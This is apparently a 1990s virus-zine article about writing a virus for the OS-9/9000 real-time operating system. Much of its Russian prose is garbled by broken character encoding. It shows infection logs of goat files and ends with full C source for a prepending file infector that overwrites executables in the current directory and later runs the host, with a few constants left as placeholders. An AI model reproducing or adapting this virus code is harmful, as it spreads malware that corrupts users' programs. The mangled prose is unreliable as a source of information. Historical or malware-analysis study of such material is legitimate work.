
Ŀ
                                                                    
                        
                                    
                           
                                          
Ĵ
                                  5                           
ٰ



                         
                               by DrMAD

    ᬠਢ 4-    ஭  ୠ  x25  (饭
⥢ unix -孮),  ண, ⨢  
樮 ⥬:  OS-9.    ⮬,    7-8   쭮
⨢  쥧 ண  ⮩ ⥬,  ⮬    ⠫  
室  ࠡ        ਬ୮    2000,     
࠭   ᠬ ஬ ᯮ.        
ᠫ /1/. :)
    ⠪,    㢨  ⮩  ( - madcr) :

     ⠪ os9 ?  os9   ॠ쭮 ६   68xxx
    ஢  ᮧ  ।⢥  ﬨ microware 
    motorola  1979 .        ᬮਬ    ⮩
      -  os9  level  II,    襬 砥 ࠡ  68030
    .   饥 ६  os9  த    os9000  
    ࠡ⠥    ppc    x86  ,  ,    ᪠ ,  
    ᬮਬ  ॢ os9,       ᯮ
      ࠧ 㦤...

      ᮢᥬ  ⠪.  :-) OS-9 - ⢨⥫쭮 筠
樮   ⥬   ॠ쭮   ६          Microware,
⨬஢   ᯮ짮  ⥬ ⮬⨧樨.   
  UNIX!    樮  ⥬  ᯥ稫      
宦  ᢮  ⥬    UNIX (筮  䠩 ,
 ⥬ ⨫,   - 㭪権  API  ..),  
७ ⥪  OS9 - ᢮, ᮫⭮ ਣ쭠.
    ࢮ砫쭮 OS-9 뫠 ਥ஢   MC 68K,    
㡥  80-90-      ࠧ   OS-9000,
ਥࢠ    i80x86.    窨  ७       ਪ
ணࠬ  OS-9    OS-9000 -      樮 ⥬:
 ,   譨 䥩 ( ப),
   ⥬   ⨫,     ।   ,
  䠩  ⥬,    室     ணࠬ.
   OS-9,   ஢ ᢮ ணࠬ  設  
OS-9000  . 筮 ணࠬ஢ 室  ,  
    ⥭쪨  "OS-9  C compiler",     㦥 ᭮
।⢮ ணࠬ஢ ⠥  ⨬騩  "OS-9 Ultra
C/C++  compiler".      5      ந諮  ⭮  ᫨ﭨ, 
ਠ 樮 ⥬ ᭮   OS-9.
    OS-9/9000 -  䨣㥬  ⥬.    祭   ⭮   
த饥  ,  ஥       ஬
ࠩ஢      १  RS-232      ⭮   襢
ப஫.    ࠬ, ⫠稪, 奫,
⥬묨 ⨫⠬,  ᪮  窮  X-Window    ࠡ  
 ,  砥  ਢ   ⠧.
       ᮡ⥩ OS-9  -  প  㫥  
(memory  module).      樮  ⥬  ࣠
   㫥.
    ਪ ணࠬ  -   .  ࠩ 譥 ன⢠ -
 . ਯ 譥 ன⢠ ( ,  ᮤঠ騩
,     ⮫쪮  )  -  .  ࠣ  ⨢  ,
䨪஢   ﭭ  㦠騩      묨  
ᠬ - ⮦ .
      /2/:

                  +-----------------------------------+
                  | :                        |
                  |  - ᨣ;                     |
                  |  -  ;                    |
                  |  -  ;                  |
                  |  - 䫠 㯠;                 |
                  |  - ⨯ ᮤন;               |
                  |  -  ࠣ⮢ ᮤন; |
                  |  - ஫쭠 㬬 ;   |
                  |  -  㦥 .         |
                  +-----------------------------------+
                  |                                   |
                  |             ন            |
                  |                                   |
                                   . . .
                  |                                   |
                  +-----------------------------------+
                  |           CRC ᮤন         |
                  +-----------------------------------+

    㬥,   8        ᠫ  ᪮쪮  ᮢ  
OS-9/9000! :-)
     室   ᠬ .   ਬ⨢  HLLP-,
 ࠦ   ணࠬ 㫨  ⥪饬 ⠫ .
,   OS-9 ন     ⥪  ⠫:  ⥪騩
⠫      ⥪騩  ⠫  ᯮ塞  ணࠬ.   
⮡ࠦ    ⮦ ,     ࠧ.
      "ࠥ" ᢮  :  頥      ᢮  
 ,   室 "루"  䠩  砩
, ᪠,  ⮬ ᭮ 㤠.
    ୨, 筮 ,   ਫ.       ⠫  
த,   ⠭       .   ᪮஢
室,     OS-9/9000     ᮢ⮢,    㤠. 
ࠩ ,   襫  CRC -  ⠭  -. :)
    祬,     樠쭠 ,      
http:\\www.microware.com     ᥡ ᯫ CD  ﬨ 
஢,  -祪     ᤥ ᥡ 㧮 
᪥ OS-9.   

    室 ﭨ ⠫:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1802 -------------ewr    3DA1      6020 goat
  0.0     79/12/31 1821 -------------ewr    3E3F     25978 virus

    ᫥ ᪠ . ,  goat "ࠢ"  19:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1813 -------------ewr    3DA1     25978 goat
  0.0     79/12/31 1813 -------------ewr    3E3F     25978 virus

     㥬  ⠫ ஢쪨 goat2:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1813 -------------ewr    3DA1     25978 goat
  0.0     79/12/31 1802 -------------ewr    3DD3      6020 goat2
  0.0     79/12/31 1813 -------------ewr    3E3F     25978 virus

     ᪠ ࠦ goat, ⥯ ࠦ :

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1814 -------------ewr    3DA1     25978 goat
  0.0     79/12/31 1814 -------------ewr    3DD3     25978 goat2
  0.0     79/12/31 1814 -------------ewr    3E3F     25978 virus

    Voila, ᯮᮡ  !

    ⢥ ,      -     ᯮ⮢  筮
樨 ᮢ, ࠡ  ᠬ ᪨ ணࠬ-
।.      ।     㦨 䠪⮫᪮
᭮    쭮  쥧  ᫥,  饭  ᠬ
᭮    ⥬ ஬諥 ⮬⨧樨.   ࠩ ,
 "㬠" ⥩  ࠧ  ᡮ୨      ⥬      㦥
.
    ⮬  273-     ! :)

    

    1.   ..,  쥢  ..  ன⢮  㭪樮஢
樮 ⥬ ॠ쭮 ६ OS-9/9000. / : 
ﭮ, 1996. - 101 .
    2. OS-9000 Technical Manual. Version 2.2.

    . 室  (  ⠩ ஢ !!!).

/* Simple virus for OS-9/9000, (c) 1996 */
#include <stdio.h>
#include <dir.h>
#include <modes.h>
#include <time.h>
#include <module.h>
#include <reg386.h>

#define MAXLEN  ?????
#define SELFLEN ?????
#define GOATPOS ?????

DIR *d;
mh_com *m;
struct direct *de;
char *selfname;
char rndname[9];
int  f, f2;
time_t t;
unsigned char *buf, *buf2;
int  q, q1, q2;
int  i, j;
char fstr[]={"??????????????????????"};
char dstr[]={"??????????????????????"};
unsigned char buf1[MAXLEN]={"???????"}; /* Here's the goat file */

void infect(s) char *s;
  {
  if (s[0]=='.') return;

  if ((f = open(s, S_IREAD|S_IWRITE))==-1) return;
  if ((q = read(f, buf, MAXLEN))==MAXLEN) return;
  if ((m->m_sync!=0x4AFC)&&(m->m_sync!=0x4AFD)) { close(f); return; }
  if ((buf[0x50]=='v')&&
      (buf[0x51]=='i')&&
      (buf[0x52]=='r')&&
      (buf[0x53]=='u')&&
      (buf[0x54]=='s'))  { close(f); return; }
  lseek(f, 0, 0);
  if ((q1 = write(f, buf2, SELFLEN))==-1) { close(f); return; }
  lseek(f, GOATPOS, 0);
  if ((q1 = write(f, buf, q))==-1) { close(f); return; }
  close(f);

  i=0; while (s[i]) fstr[i+10]=s[i++]; fstr[i+11]='\0';
  system(fstr);
  }

main(argn, args) int argn; char *args[];
  {
   selfname = args[0];
   if ((m = (mh_com *) (buf = (unsigned char *) malloc(MAXLEN)))==NULL) return 1;
   if ((buf2 = (unsigned char *) malloc(SELFLEN))==NULL) return 2;
   if ((d = opendir("."))==NULL) return 3;

   if ((f2 = open(selfname, S_IREAD))==-1) return 4;
   if ((q2 = read(f2, buf2, SELFLEN))==-1) { close(f2); return 5; };
   close(f2);
   rewinddir(d);
   while ((de = readdir(d)) != NULL) infect(de->d_name);
   free(buf); free(buf2);

   m = (mh_com *) buf1;
   if ((m->m_sync==0x4AFC)||(m->m_sync==0x4AFD)) /* Is here goat? */
    {
      time(&t);
      for (i=0;i<8;i++)
       {
        rndname[i] = 'a' + t%27;
        t = t/2;
       }
      rndname[8]='\0';
      if ((f2 = create(rndname,
                       S_IREAD|S_IWRITE,
                       S_IREAD|S_IWRITE|S_IEXEC))==-1) return 6;
      if ((q2==write(f2, buf1, m->m_size ))==-1) { close(f2); return 7; };
      close(f2);

      os9fork( rndname, "", 0, 40000, 0, 0, 0 );
      wait(0);

      i=0; while (rndname[i]) dstr[i+4]=rndname[i++]; dstr[i+5]='\0';
      system(dstr);
    }

  }
